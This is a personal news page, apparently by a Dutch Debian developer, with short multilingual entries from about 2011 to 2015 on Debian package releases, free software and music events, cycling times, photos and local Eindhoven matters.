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25 jaar Burgers Eindhoven, augustus 2015

Eindhovense ontmoetingsplaats (en één van de uitvalsbases van vrije software-groep enosig) Burgers werd in de nacht van 11 op 12 augustus 1990 gekraakt. In augustus 2015 zal een herdenkingsboek gepresenteerd worden. Mail burgers apenstaartje ellen-ehv punt nl voor informatie (en bijdragen!).

Festival au Désert, jan 2015?

january 2015 in Mali?.

Buy Nothing Day, 29 nov 2014

zaterdag 29 november 2014: niet-winkeldag.

T-DOSE 2014, october 2014

T-DOSE, a free and yearly Open Source Software event, will take place on 25 and 26 October 2014 at the Fontys University of Applied Science in Eindhoven, The Netherlands.

Behemoth @ Polska, october 2014

oct 5, Wrocław; oct 8-9, Krakow; oct 12, Gdansk. See Behemoth at songkick.

Wire @ AB, 21 sept 2014

21 sept 2014: Wire, Múm, Wolf Eyes, Anna von Hausswolff @ AB, Brussels.

Incubate 2014, sept 2014

Incubate: A festival of music and independent culture.

mon 15 - sun 21 September 2014, Tilburg.

Napalm Death, 7 sept 2014, BXL

Sunday 07 September 2014: Napalm Death, VISIONS OF WAR and Mr. Marcaille @ Magasin 4, Brussels, Belgium.

BalCCon, sept 2014

BalCCon2k14, 5|6|7 September 2014, Novi Sad, Vojvodina, Serbia

20 jaar Omslag

Omslag, Werkplaats voor Duurzame Ontwikkeling gevestigd te Eindhoven, bestaat in 2014 20 jaar. \o/

Debian Conference 2014, Portland, Oregon, USA, august

DebConf14 will take place august 23 till august 31, 2014, at Portland State University conference facility, 1825 SW Broadway, Portland OR 97201, USA.

FrOSCon 2014

FrOSCon edition nr 9: 23.-24. August 2014. Hochschule Bonn-Rhein-Sieg, Grantham-Allee 20, 53757 Sankt Augustin, Germany . Dat is ietsje ten noord-oosten van Bonn, een kilometer of 120 ten oosten van Maastricht.

Linux Bier Wanderung 2014

LBW 2014 will take place in Talybont-on-Usk in Wales, The United Kingdom, august 2014.

Interference Hackers Meeting

vr 15 t/m zo 17 augustus 2014, interference hackersbijeenkomst, bij Binnenpret (/ Occi), Amsterdam. Met mensen van Puscii en LAG.

Het Spektakel, Haghorst, aug 2014

Het Spektakel 2014, Haghorst (bij Tilburg): genieten van muziek en lekker eten en drinken. Van vrijdag 15 t/m zondag 17 augustus.

Ieper Hardcore Fest, aug 2014

8 - 10 august 2014, Belgium: Ieper Hardcore Fest.

Landjuweel, Ruigoord, aug 2014

wo 6 aug 2014 t/m zo 10 aug 2014 Cultureel Festival Landjuweel. Geen muziekfestival maar een beleving voor mensen die weten dat de spelende mens zijn eigen feestje bouwt. Met veel live muziek, maar Landjuweel is in eerste instantie een viering van de spontane creativiteit en een doolhof van krankzinnige speelsheid. Ruimte voor kleine en grote groepen kunstenaars, jonge talenten en oude bekenden, uit binnen- en uit buitenland. Hoogtepunt is de Beeldenroute op zaterdagavond. Culturele Vrijhaven Ruigoord, Ruigoord 76, Amsterdam. Web: http://ruigoord.nl/evenementen/landjuweel/ .

Debian Party 2014, Cambridge, UK

DebianParty2014, sat aug 2 and sun aug 3, 2014, Cambridge, UK.

CWS 25 jaar: juni 2014

Centraal Wonen Strijp is ingeschreven in de KvK op 1 januari 1987, en daadwerkelijk gestart op 1 juni 1989, en bestaat in 2014 dus 25 jaar. Feest!

Graffiti in Belgrade

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пет, 29. авг 2014.: DebConf14, Portland, OR, USA

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jeudi 10 juillet 2014: uruk .deb

New uruk Debian package (20140627-1). The .deb entered the Debian archive, and this version (or a newer one) will likely end up in the upcoming Debian zurg release. This uruk release will enter Debian jessie (testing) soonish. (Debian jessie (testing) now still has 20140319-1; Debian wheezy (stable) ships uruk 20120608.1-1; Debian squeeze (oldstable) ships uruk 20080330-1.; lenny shipped 20080330-1; etch shipped 20051027-1.)

You can read about the changes in the Debian package, and about what's new in the uruk tarball.

Uruk is shipped with Ubuntu Linux, via the universe component. An updated Uruk RPM will get published RSN.

Tue Jul 8 2014: more pics

Found back some more pics: from may 2014, Eindhoven:

Wed Jul 2 2014: pics

Found back some pics, from feb-may 2014:

mardi 1 juillet 2014

"Per 1 juli 2014 kan de politie bij een plotselinge gebeurtenis sneller fouilleren ter handhaving van de openbare orde." Zie rijksoverheid.nl.

samedi 28 juin 2014: ruit

Platform Noordoostcorridor "Stuit de Ruit" mobiliseert burgers ter voorkoming van de aanleg van de ruit om Eindhoven. Het Eindhovens Dagblad schrijft erover. Ook op Wikipedia is iets te vinden. En koef heeft plaatjes van (historisch) materiaal.

пет, 27. јун 2014.: uruk

New uruk releases: version 20140627 - The Vlook Release.

You can read about what's new in the uruk tarball.

пет, 20. јун 2014.: fiets

fiets: ongeveer 85 minuten, 32 km. Ik fiets weer op de renfiets: keiharde tuupjes.

сре, 4. јун 2014.: pgp and amazon s3 backup tools

Published new tools a1-s3dup and a1-groupenc. a1-s3dup is a wrapper around duplicity, to facilitate handling pgp encrypted incremental file backups on amazon-s3. a1-groupenc is a wrapper around gpg: it encrypts and signs a file, so that a specific group of people can read and update it, while nobody else can read it. Typically useful for storing secret passwords which are shared among a group of people.

Ring Ring, Belgrade, may 2014

may 15 - may 28: Ring Ring Festival, Belgrade, Serbia. I've missed it, due to the flooding.

10 mei 2014: Open Kloosterdag

Op 10 mei 2014 was het Landelijke Open Kloosterdag. Ik heb missiezusters in Boxtel bezocht, die vertelden over hun werk in Afrika, oa. in Rwanda tijdens de burgeroorlog daar, en heb t klooster van de Redemptioristen bezocht. Zie voor inspiratie ook de apostolische exhortatie Evangelii Gaudium van paus Franciscus: "Liever een kerk die verwond en vuil is omdat zij op straat vertoeft, dan een kerk die ongezond is omdat zij zich opsluit in haar eigen veiligheid".

пет, 18. апр 2014.: talk: The birth and death of Javascript

Nice talk: https://www.destroyallsoftware.com/talks/the-birth-and-death-of-javascript.

Tachanka, by Нестор Махно

Nice: Нестор Махно invented this one: .

za 5 april 2014: puscii en pinknoise benefiet

zaterdag 5 april PUSCII & PinkNoise Benefiet in Scheveningen. . Met o.a. MC Broko, Harry Merry, DJ Chaos K "Weg met de Ultra" en DJ joostvb \o/

zaterdag 1 maart 2014, 14:00: Puscii Privacy Party, Boekhandel Rooie Rat, Utrecht

Puscii Privacy Party. ppp, 1 mrt 2014,
utrecht

чет, 13. мар 2014.: fiets

gisteren weer met de fiets gegaan. \o/

уто, 25. феб 2014.:bewaarplicht

"Naast dit alles druist het simpelweg iedereen als verdacht markeren en van iedereen maar gegevens opslaan natuurlijk snoeihard in tegen de onschuldpresumptie, een grondbeginsel van het strafrecht dat normen stelt aan hoe de vervolgende instanties zich dienen te gedragen bij strafrechtelijke vervolgingen." Sander Smeenk over de Wet Bewaarplicht Telecommunicatiegegevens.

уто, 25. феб 2014.: fiets

7:29 - 8:54: 76 minuten, 32 km: 25,3 km/h. Zelfde materiaal als 2013-12-13. Denk dat ik wind mee had. Niet slecht.

Seg Fev 24 2014: wetgeving

"De vreemdelingenpolitie en de Koninklijke Marechaussee kunnen in het kader van het onderzoek naar de identiteit van een vreemdeling, voortaan zonder toestemming van de bewoner een woning doorzoeken. [...] Het optillen van een matras of het kijken in laden, kasten en tassen - wat nu nog uitgesloten is - mag [volgens het wetvoorstel] wel. [...] Het wetsvoorstel zal 1 maart in werking treden." Zie Teeven breidt mogelijkheden vreemdelingentoezicht uit. Zie verder ook de stemuitslag.

Seg Fev 24 2014: grub

Finally wrote down how to fix a broken grub: published new tiny document "how to restore a borken grub2" on how to escape from GRUB's rescue shell.

Sex Fev 21 2014: Debian @ Hacker Public Radio

Eternal fame: I've made it to Hacker Public Radio: Ken Fallon has interviewed me at the Debian booth at this year's FOSDEM conference. You can hear me in the 00:56:48 - 01:08:04 slot.

чет, 20. феб 2014.: moving pics around

In the process of moving pics to another server. You'll likely encounter broken links. Please bear with us.

чет, 20. феб 2014.: BeWelcome

Just donated to the BeWelcome hospitality exchange service; an online community with more than 50,000 members in more than 150 countries all around the world, who offer free accommodation and help during travel. Donate too! See the public financial reports to check where your money would go. I like BeWelcome, for many reasons. One is: "We work voluntarily, that is why we love it so much.".

сре, 19. феб 2014: portugal

Porto:

Lisboa:

Belem:

Sines: Visited Coimbra too, btw.

17. феб 2014.: xkcd

XKCD nº 1331 "Frequency" is a beautiful piece of poetry. Thanks Randall Munroe.

Fev 2014: fosdem

Attended FOSDEM, enjoyed nice african food at Le Matonge ASBL, Petite Restauration Spécialités Africaines in Matonge, BXL: chiquengue, fufu, madame jeanettes, viande de chèvre, halve liters jupiler, soukous. See pics by Vipul Agarwal.

3 feb 2014: caspar

New caspar releases: version 20140203 - The Matonge, BXL Release; new caspar Debian package (20140203-1) 05 Feb 2014; new release version 20140106 - The Bakertand Release. The .deb entered in the Debian archive, and this version (or a newer one) will likely end up in the upcoming Debian zurg release. This caspar release has entered Debian jessie (testing). (Debian wheezy (stable) ships caspar 20120530-1; Debian squeeze (oldstable) ships caspar 20100624-1.)

You can read about the changes in the Debian package, and about what's new in the caspar tarball.

If you'd like to use this new caspar on your Debian wheezy system, you can just fetch the unstable package and install that one: there are very few (and only harmless) dependencies. Or, even better, you might like to try to track this package using apt pinning.

If you'd like to use this new caspar on your Ubuntu Linux system, you'll have to wait for a few weeks. It entered the upcoming stable Ubuntu trusty release, as 20140106-1ubuntu2. The current stable saucy (13.10) release ships with caspar 20120530-1. (raring (13.04) ships 20120530-1, quantal (12.10) ships with 20120530-1, precise (12.4) ships with caspar 20101204-1, oneiric (11.10) ships with 20101204-1, natty (11.4) with 20100624-1, maverick (10.10) with 20100223-1.) Caspar is shipped with Ubuntu Linux, via the Universe component.

чет, 16. јан 2014.: doghousediaries

The Doghousediaries is good.

чет, 16. јан 2014.: fiets

11:47 - 12:27: 90 minuten, 32 km. Zelfde materiaal als 2013-12-13. Niet slecht.

пет, 13. дец 2013.: fiets

08:00 - 09:38: 98 minuten, 32 km. Frame te klein, zadel te laag, geen toeclips, geen tuupjes maar stadsfietsbanden.

En: mdcc.cx headquartersmdcc.cx headquarters.

12 dec 2013: draai

New draai release: version 20131212 - The Witte Reiger Release. draai is a command line music player, implemented as a wrapper around mpc(1). You can read about what's new in this release.

A new draai Debian package is published: 20131212-1, targeted for Debian unstable. It has entered the Debian archive, and will likely end up in the upcoming Debian jessie release. You can read about the changes in the Debian package.

If you'd like to use draai on your Ubuntu Linux system, you're lucky: draai gets shipped with Ubuntu since the "lucid" release. This new draai release will likely get shipped with the upcoming "ringtail" FIXME release.

21 nov 2013: systraq

New systraq Debian package uploads: 0.0.20081217-7 (08 Dec 2013); 0.0.20081217-6 (21 Nov 2013). Systraq monitors your system and warns when system files change. This version (or a later one) will likely end up in Debian jessie (the current testing). (wheezy (current stable) got released with 0.0.20081217-3 (FIXME), squeeze (the current oldstable) ships 0.0.20081217-1+squeeze2.1; sarge was the first Debian release which came with systraq: 0.0.20050213-4.) You can read about the changes in the Debian package and view some Debian developer information on the package.

2013-10: Serbia

New Belgrade Near monastery near belgrade Loznica

Vinograd nad prnjabr:

kuce nad prnjabr

loznica

loznica to beograd ( 5114 )

new belgrade

Belgade, stari grad:

2013-09-26: Noord Ierland

пет, 6. сеп 2013.: fiets

07:57 - 09:19: 84 minuten, 32 km.

zondag, 1 september 2013: Tilburg Ten Miles: 1:26:16

I ran 10 miles (16 kilometer and 93 meter) in 1 hour, 26 minutes, 16 seconds, (last year I was 7 seconds faster: 1:26:09; in 2011: 1:29:22) at the Tilburg Ten Miles. See some of the other results and .

Startnummer      8323
Categorie        B10EM
Totaal plaats    2727 / 5410
Categorie plaats 528 / 983
Snelheid         11,192 km/uur
5 km             25:25
10 km            52:57
15 km            1:21:09
Bruto tijd       1:34:10
Netto tijd       1:26:16

31 aug 2013: druten, wageningen

Some pictures taken during a trip to Wageningen, around "Voetveer Druten-Dodewaard", crossing river Waal.

чет, 29. авг 2013.: news from the Natural Language Processing front: updated Debian packages

News from the NLP-front, since the latest june 2013 report:

Have just uploaded source packages ticcutils (0.4-5), mbt (3.2.10-4) and timbl (6.4.4-4). If everything works out fine, this should fix the build failures we've seen on Debian autobuilders recently. See also the library transions of timbl ticcutils and mbt.

See the previous june 2013 report for more information.

чет, 29. авг 2013.: slike

Uploaded some new pictures: Cambridge in november 2012:

Ely, UK, in april 2013:

Eindhoven, in mei 2013:

Mijn stervende EeePC, op 7 augustus van dit jaar. Mijn fietswiel probeerde hem te versnipperen.

уто, 27. авг 2013.: fiets

08:51 - 09:10: 79 minuten, 32 km.

пон, 26. авг 2013.: music

statistics! yearly growth of my music collection, in gigabytes:

1999  11
2000   9
2001   9
2002   7
2003   6
2004   7
2005   8
2006  13
2007  11
2008  86 (79 G + one bunch of 7 G donated by a friend)
2009  35
2010 113 (50 G + one bunch of 63 G donated by a friend)
2011  37
2012  35
2013   4 and counting
     ---
     381 G

Running "mpc stats" tells me about this 381 gigabytes:

Artists:   7836
Albums:    4262
Songs:    50961
DB Play Time: 168 days, 22:47:55

That's 14597275 seconds per 381 GB, a 70 minutes CD takes 112 MB, a 5 minute song takes 8 MB. (I store songs in ogg, mp3, flac, m4a, you name it.)

уто, 25. јун 2013.: fiets

90 minutes, 32 km.

пет, 21. јун 2013.: fiets

8:15 - 9:39: 84 minutes. Did cycle last week too, iirc; weet niet meer hoe hard ik toen ging.

нед, 16. јун 2013.: news from the Natural Language Processing front: Debian packages

News from the NLP-front, since the latest march 2013 report:

Good news for Natural Language Processing scientists interested in Memory-Based Learning (dealing with classification tasks, generating part-of-speech taggers or chunkers and related subjects). In the last 4 months, the Induction of Linguistic Knowledge Research Group, Tilburg University, together with the Language Technology Research group of CLiPS, Antwerp released new versions of their software packages.

With help from Ko van der Sloot, I've updated a few of the ILK Debian packages: The packages frog_0.12.17-7 (was 0.12.16-4), libfolia_0.10-4 (was 0.9-2), ticcutils_0.4-4 (was 0.3-1), timbl_6.4.4-3 (was 6.4.3-1), mbt_3.2.10-3 (was 3.2.9-2), timblserver_1.7-3 (was 1.6-2), ucto_0.5.3-3 (was 0.5.2-2) are uploaded to the Debian incoming area, and are now being inspected by the Debian FTP masters. If everything works out as planned, they'll get propagated to Debian "unstable".

For people running Debian "testing": The packages mbtserver (0.7-2, was 0.6-1), frogdata (0.4-1, was 0.3-2) dimbl (0.12-2, was 0.11-1) succesfully entered the Debian unstable suite. If everything works out as planned, and the problems shown this Debian Maintainer TODO list (especially release.debian.org ("ticcutils more excuses for ticcutils not being in testing")) gets dealt with, they'll get propagated to the Debian testing (aka "jessie") distribution, likely to be released late 2014.

For people running Debian "stable": In may 2013, Debian 7.0 "wheezy" was released. It comes with timbl 6.4.2-1, timblserver 1.4-2, mbt 3.2.8-1, mbtserver 0.5-2, libfolia 0.9-2, frog 0.12.15-3, frogdata 0.3-2, ucto 0.5.2-2 and dimbl 0.11-1. It will likely be supported till about late 2014.

See the previous march 2013 report for more information.

суб, 25. мај 2013.: ubica

Ubica ontruiming. Ikzelf bewaar mooie herinneringen aan die prachtige plek.

mercredi 22 mai 2013: photography

Photography by Nicholas Nixon (born 1947 in Detroit, USA): "In 1975, Nixon began his project, The Brown Sisters consisting of a single portrait of his wife, Bebe, and her three sisters each year, consistently posed in the same left to right order. As of 2010, there are thirty-six portraits altogether."

уто, 21. мај 2013: fiets

7:58 - 9:22 : 84 minutes

уто, 21. мај 2013: this website and IPv6

This website has been available via IPv6 only, for a couple of weeks. For those relying on IPv4: sorry for that.

Pinksterlanddagen 2013, Appelscha

Rond zondag 19 mei 2013 (vrijdag 17 mei tot en met maandag 20 mei) vonden op het anarchistische, alcoholvrije kampeerterrein 'Tot Vrijheidsbezinning' te Appelscha weer de Pinksterlanddagen plaats. Jaarlijks sinds 1927! Zie de Pinksterlanddagen website de aankondiging met meer details.

Zaterdag 18 mei 2013: Open Gemeenschappelijkwonendag

Op zaterdag 18 mei vond de vijfde Landelijke Open Gemeenschappelijkwonendag 2013 plaats. Er is wellicht nog wat meer info op de websites van Landelijke Vereniging Centraal Wonen, Federatie Gemeenschappelijk Wonen en Omslag - Werkplaats voor Duurzame Ontwikkeling te vinden.

Opening uitbreiding Inkijkmuseum, Eindhoven

vrijdag 26 april 2013, Dommelstraat 2A, Eindhoven: 10 jaar Inkijkmuseum: Receptie, publieke opening en feest. Vanaf 26 April 2013 heeft het Inkijkmuseum twee tijdelijke zalen beschikbaar voor de mondiale mobiele expositie Show Your Hope. Het Inkijkmuseum begon ooit als een gigantische kijkdoos. Het is inmiddels het kleinste museum van het land met wellicht de grootste hedendaagse internationale kunstcollectie van Nederland. (opening info)

vendredi 19 avril 2013: hacked bozohttpd

Patched bozohttpd ("a small and secure http version 1.1 server. its main feature is the lack of features, reducing the code size and improving verifiability.") to deal with utf-8 in .html-files. See http://mdcc.cx/tmp/bozohttpd/ and Debian Bug #705736. Now this site looks OK again. \o/

dimanche 14 avril 2013

Switched server software from thttpd to bozohttpd. Excuse me for the mojibake: work in progress. [...] Hrm, bozohttpd's -M flag seems borken.^W No it's not! (Should I use mathopd?)

vendredi 12 avril 2013: fiets

8:19 - 9:41: 82 min, 32 km.

Linux Open Administration Days, Antwerp

April 6+7, 2013, Wilrijk (Antwerp), Belgium, LOAD: Linux Open Administration Days.

rond 1 april: fiets

rond 1 april: ongeveer 88 min.

Open Dag Nederlandse Hackersspaces, 30 maart 2013

In heel Nederland waren hackerspaces voor iedereen gratis open op zaterdag 30 maart van 10:00 tot 17:00 (of later). O.a. in Amersfoort, Arnhem, Heerlen, Leeuwarden en Wageningen. Zie de algemene aankondiging.

чет, 21. мар 2013.: fiets

7:33 - 8:59: 86 min, 32 km.

16 maart 2013: Sy, Ardennes, Belgium

Enjoyed a trip to Sy, Ardennes:

чет, 14. мар 2013.: fiets

7:32 - 8:59: 87 min, 32 km.

mardi 19 mars 2013: 'The Artist Is Present', Marina Abramović @ MoMA, 2010

Belgrade performance artist Marina Abramović was in MoMA in 2010 for her piece 'The Artist Is Present'. There, she encounted her ex-partner Ulay. See the YouTube upload Marina Abramović e Ulay - MoMA 2010 (uploaded by MiticoMazz) for what happened. She also this Zen Garage posting.

samedi 9 mars 2013: /buiten

Moved some stuff about walking and sports from this page to buiten/.

samedi 9 mars 2013: version control systems and debian

Which version control systems are used by Debian developers to maintain packages? Lucas Nussbaum gave the definative word: . Earlier, I wrote about this: These version control systems were used in sept 2012:

     16 Vcs-Arch
     60 Vcs-Mtn
     70 Vcs-Cvs
    153 Vcs-Hg
    801 Vcs-Bzr
   1862 Vcs-Darcs
   8304 Vcs-Svn
  16141 Vcs-Git

At june 5, 2012, situation was:

di 05 20:10 < flok> joostvb: 29 Vcs-Arch
di 05 20:10 < flok>          51 Vcs-Mtn
di 05 20:10 < flok>          70 Vcs-Cvs
di 05 20:10 < flok>         156 Vcs-Hg
di 05 20:10 < flok>         666 Vcs-Bzr
di 05 20:10 < flok>        1106 Vcs-Darcs
di 05 20:10 < flok>        8697 Vcs-Svn
di 05 20:10 < flok>       14883 Vcs-Git
 [20:57] [joostvb(+i)] [4:#tosti] [Act: 1]

Thanks Folkert. I am happy darcs is gaining popularity. darcs rocks!

At June 3, 2011, situation was:

 % apt-cache showsrc $(apt-cache pkgnames) | grep \^Vcs | \
    grep -v Browse | cut -d: -f1 | sort | uniq -c | sort -n
     42 Vcs-Mtn
     59 Vcs-Darcs
     60 Vcs-Arch
     65 Vcs-Cvs
    181 Vcs-Hg
    745 Vcs-Bzr
   9167 Vcs-Svn
  10539 Vcs-Git

At October 11, 2008, situation was:

      6 Vcs-Mtn
     18 Vcs-Arch
     41 Vcs-Darcs
     59 Vcs-Hg
    135 Vcs-Cvs
    398 Vcs-Bzr
   2156 Vcs-Git
   5970 Vcs-Svn

While at March 29, 2008, situation was:

     33 Vcs-Darcs
     41 Vcs-Arch
     60 Vcs-Hg
    116 Vcs-Cvs
    329 Vcs-Bzr
   1132 Vcs-Git
   4979 Vcs-Svn

(There's a bug in this script: it mixes debian source packages with debian binary packages. Thanks to JanC for pointing this out. I don't think fixing it will yield another ordering in the different version control systems, 'though.)

чет, 7. мар 2013.:fiets

7:53 - 9:15: 82 min, 32 km, 23.4 km/h.

Tijden tot nog toe, in minuten (32 km):

   2012
18 août  75
21 août  80
30 août  85
 6 sept  80
11 sept  77

 8. окт  85
18. окт  80
22. окт  83
31. окт  85
 5. нов  87
28. нов  88
 5. дец  89

   2013
 4. јан  98
 9. јан  90
 5. феб 108
12  Feb  88
21. феб  90
 7. мар  82

6. мар 2013.: news from the Natural Language Processing front: Debian packages

News from the NLP-front, since the latest july 2012 report:

Good news for Natural Language Processing scientists interested in Memory-Based Learning (dealing with classification tasks, generating part-of-speech taggers or chunkers and related subjects). In the last half year, the Induction of Linguistic Knowledge Research Group, Tilburg University, together with the Language Technology Research group of CLiPS, Antwerp released new mbt (3.2.9), mbtserver (0.6), frog (0.12.16), frogdata (0.4), timbl (6.4.3), and timblserver (1.6) software packages. (The libfolia (0.9), ucto (0.5.2), and dimbl (0.11) software hasn't changed much since july 2012.) With help from Ko van der Sloot, I've updated all related Debian packages: mbt (3.2.9-2), mbtserver (0.5-1), frog (0.12.16-4), frogdata (0.4-1), timbl (6.4.3-1) and timblserver (1.6-2). (Packages libfolia (0.9-2), ucto (0.5.2-2) and dimbl (0.11-1) haven't changed a lot recently.)

These all succesfully entered the Debian unstable suite. The changes of last 6 months (as well as upcoming work) will get included in the Debian jessie release, likely to be released late 2014, and the recent work will get shipped with the upcoming Ubuntu "Raring Ringtail" release. The situation of the ILK/CLiPS software for the upcoming Debian wheezy release (scheduled for stable release, early this year), hasn't changed since july 2012. The current stable Ubuntu release (Quantal Quetzal) ships with pretty recent versions of the software.

I wrote (well, work in progress...) some documents for the ILK developers: a short introduction to the Debian project infrastructure, covering the parts which are relevant for ILK/CLiPS software packagers; and a document on how to create packages: Debian packages, Fedora RPM packages and Fink packages for Mac OSX.

Now, users of Ubuntu stable and Debian testing should just run:

$ sudo apt-get install science-linguistics

once, and, from then on, one's system is automagically kept up to date w.r.t. ILK software.

BTW, Debian squeeze (stable) ships science-linguistics version 0.12, while wheezy (testing) and sid (unstable) ship 0.16. For Ubuntu: Ubuntu Quantal Quetzal (current stable release) ships science-linguistics version 0.16ubuntu2. (For the ILK-trick to work, a version > 0.15 is needed.)

See the science-linguistics package page and the introduction to the Debian science project for (a lot) more information.

jeudi 28 février 2013: wm: dwm?

Switching from fvwm to a new window manager. It should be lightweight, simple and feel like Unix (i.e. have a decent manpage and understand the pipe symbol). It's a pity ratpoison is no longer maintained. The shortlist: xmonad (haskell), wmfs, Spectrwm, Snapwm, monsterwm (no-config), i3, herbstluftwm, dwm (no-config), dswm (lisp), awesome (lua), notion (lua). For now, I'm playing with dwm (the "Dynamic Window Manager"). I guess I'll stick with that one, for the last about 2 weeks I've been pretty happy with it.

jeudi 14 février 2013: uruk rpm

An updated Uruk RPM: uruk-20121205-1.noarch.rpm is released.

4 feb 2013: FOSDEM 2013

FOSDEM 2013 took place on Saturday 2 and Sunday 3 February 2013, Université Libre de Bruxelles, Belgium. Beer event: Friday 1 February 2013. It was good as ever.

lundi 7 janvier 2013: Holstee

Found the nice The
Holstee Manifesto Holstee Manifesto by the Holstee lifestyle and fashion shop, while visiting Omslag, Eindhoven.

Radionica u Coq-u @ Haklab Beograd

zondag 9 december 2012, 17:00 to 20:00, Haklab Beograd, Daničareva 23, Београд, Србија: Radionica Coq-a prema kursu "Software Foundations" (CIS 500), Benjamina Piercea. Contact: irc:freenode/#hklbgd. Missed that one :( Hope to be able to attend another time.

jeudi 6 décembre 2012: repetitor

repetitor tour netherlands

Belgrade Garage Rock Band Repetitor tours The Netherlands. Woohoo!

нед, 2. дец 2012. ...Wazige Mannen...

Published some historic recordings of ...Wazige Mannen....

нед, 2. дец 2012.: DJ joostvb

Stuff about DJ joostvb has moved.

нед, 2. дец 2012.: platenzaken in Eindhoven, The Netherlands

Still there are some nice record stores in Eindhoven. Don't buy online, but hang out at these friendly places!

CD Teek Eindhoven, sinds 1989. Kleine Berg 52, Eindhoven, Tel: +31 (0)40 2451337. Open: ma t/m do: 12:00 - 18:00, vr: 12:00 - 21:00, za: 10:00 -18:00. CD
Teek.

Ray Elpee, Kleine Bleekstraat 18, Eindhoven. Open afternoons.

суб, 1. дец 2012.: aephea

I've uploaded aephea_10.008-2 to Debian's testing-proposed-updates. An unblock request has been filed as Bug#694365, if everything works out as planned it'll get shipped with the upcoming Debian wheezy release.

нед, 25. нов 2012: aephea

I've uploaded aephea_12-248-2_all.deb. Thanks Andreas Beckmann for spotting a bug. You can read more about the changes in the Debian package.

aephea is a text-based authoring tool for HTML. If you'd like to generate manpages, but don't like troff syntax, and find Perl's POD too limited, Aephea's Portable Unix Documentation is likely useful for you.

The new aephea package has entered the Debian archive. This version (or a later one) will show up in the upcoming upcoming Debian jessie release.

I am working on getting it in wheezy too. If I fail, wheezy will ship with aephea 10.008-1. (And zoem 11-166-1. squeeze ships zoem 08-248-1. Debian ships zoem since March 2004.)

23 november 2012: hyperbole and a half

Allie Brosh of HYPERBOLE and a Half fame, kicks ass.

HYPERBOLE and a Half webcomic

samedi 27 octobre 2012: afnog

joostvb teaching at afnog2010 kigali

Found back a picture of me teaching at the AfNOG Workshop on Network Technology - Scalable Internet Services, part of the 11th AfNOG Meeting and the AfriNIC-12 Meeting in Kigali, Rwanda, may 2010.

суб, 20. окт 2012.: uncanny

Uncanny Valley Graph

Did some reading about the Uncanny Valley.

dimanche 7 octobre 2012: comics

Here's Matthew Inman's The Oatmeal on Nicola Tesla. Another nice Oatmeal: The Oatmeal Comic. And Saturday Morning Breakfast Cereal: nice too.

dimanche 7 octobre 2012: ecotribe teuge

Met dank aan Omslag vond ik de mooie documentaire De Bewoners Van... Ecotribe Teuge uitgezonden door TV Gelderland op 21 juni 2009.

суб, 25. авг 2012

Recently discovered 2 nice (and full-length) documentaties on Youtube: De Stad Was Van Ons directed by Joost Seelen, 1996, about Amsterdam squatters scene in 1980ies. and: Crass - There Is No Authority But Yourself directed by Alexander Oey, 2006, about the UK anarcho punk band and collective called Crass.

mercredi 22 août 2012

Some beautiful pics taken by Jelena at Cabo Verde, in 2010: Tarrafal, Sao Nicolau Tarrafal, Sao Nicolau Tarrafal, Sao Nicolau Tarrafal, Sao Nicolau

Mon Aug 13 2012: djb software in Debian

The current status of software from Daniel Bernstein in Debian:

I didn't find any Debian packaging efforts for publicfile. There has been a bit of non-productive noise in Bug #122614.

djbdns is not shipped with any Debian release, it's available in unstable only, due to Bug #516394. There's an alternative for djbdns: dbndns, a fork of the djbdns package, including patches for e.g. providing IPv6 functionality. That one is not in any stable release either; due to the same bug.

daemontools is shipped with Debian stable since the squeeze release. \o/ (There's an alternative for daemontools: runit and socklog.)

qmail will ship with the Debian wheezy release. \o/

Zaterdag 16 juni: Linux packaging workshop, RevSpace, Den Haag

Vanaf 10.00: .deb en .rpm packaging workshop, RevSpace, Den Haag. Ikzelf was één van de sprekers.

уто, 12. јун 2012

Het document Debian packaging met Subversion en debhelper wordt nog steeds bijgewerkt. Als je naar de dpkg and RPM packaging workshop in Den Haag gaat, bekijk dan hier de laatste versie.

Woensdag 6 juni: enosig Debian GNU/Linux packaging workshop, MAD, Eindhoven

Gaf geslaagde Debian GNU/Linux packaging workshop, bij MAD lab emergent art center, Schellens Building, Vestdijk 280, Eindhoven. Zie ook deze aankondiging.

12 mei 2012: module-assistant

Published first draft of document: How to get a patched alsa kernel module installed on your Linux system. WIP.

samedi 5 mai 2012: HOWTO: Debian packaging met Subversion en debhelper

Een eerste embrionale versie van het document Debian packaging met Subversion en debhelper is gepubliceerd. Met dank aan o.a. revspace.

Carnaval: za 18 t/m di 21 februari 2012

Eindhoven de Gekste! Pwned!

Jan 29, 2012: diaspora

I joined the DIASPORA* nonprofit, user-owned, distributed social network. It's based upon the free Diaspora software. I am Joost van Baal-Ilić at the diaspora Serbia pod.

December 31, 2011: lire

Published new Lire release (since about 3 years), lire-2.1.1.tar.gz as well as Debian package: lire 2.1.1-1. Lire is log analysis software from the LogReport project. You can read about the changes in the Debian package. This version (or a later one) will likely end up in Debian wheezy (the current testing). lenny (the current oldstable) ships 2.0.3-1.1, squeeze (current stable) 2.1-1.1. Version 2.1.1-1 will also likely get shipped with Ubuntu. You can view some Debian developer information about the package, and browse its Version Control repository.

22 oktober 2011: Melchior

Melchior spends almost every night outside, in the garden. During the day he helps me doing paperwork.

25 september 2011: bruiloft

Jelena and me got married today (voor de gemeente, deze keer).

9 september 2011: hunebedden

Visited hunebedden in Schoonoord, Sleen, Havelte and other places. See also this beautiful hunebedden website by Hans Meijer.

mardi 30 août 2011: poetry

Meer poezie!.

lundi 29 août 2011: opal

Machine opal.mdcc.cx is niet meer. (Machine emerald.mdcc.cx wordt nog steeds door Virtual Concepts te Tilburg gehost.)

23 augustus 2011: brood

Jelena made me a bread .

30 juli 2011: DebConf11 Banja Luka

24th to 30th July 2011: I've enjoyed DebConf11 in Banja Luka, Bosnia and Herzegovina. See also debconf11.debconf.org.

wo 20 juli 2011: Soleus

Deze website draait niet langer op "opal" maar op "beskar": een VPS server die bij Hostingvereniging Soleus gehost wordt. Nu dus ook via IPv6 te bereiken \o/. (Daar merk je, als het goed is, helemaal niks van trouwens.)

26 juni 2011: Bosch Parade

Ik deed mee aan de Bosch Parade, een kunstzinnige vaartocht op de middeleeuwse Dieze in Den Bosch. 17, 19, 22, 24 en 26 juni 2011. Update 2011-07-21: Een filmpje van mij en Miron in de boot van Tijs Rooijakkers staat hier op youtube. De boot "otbo velo" is trouwens te koop.

mercredi 15 juin 2011: pics

Graffitti in Belgrade, june 1, 2011 Uploaded a bunch of pretty nice pictures: Београд and Serbia.

vendredi 3 juin 2011: VCS

My current VCS-preference list is:

  1. git
  2. svn (Subversion)
  3. rcs
  4. bzr (Bazaar) (I am currently not using this)
  5. darcs (I am currently not using this)
  6. hg (mercurial) (Never used that)
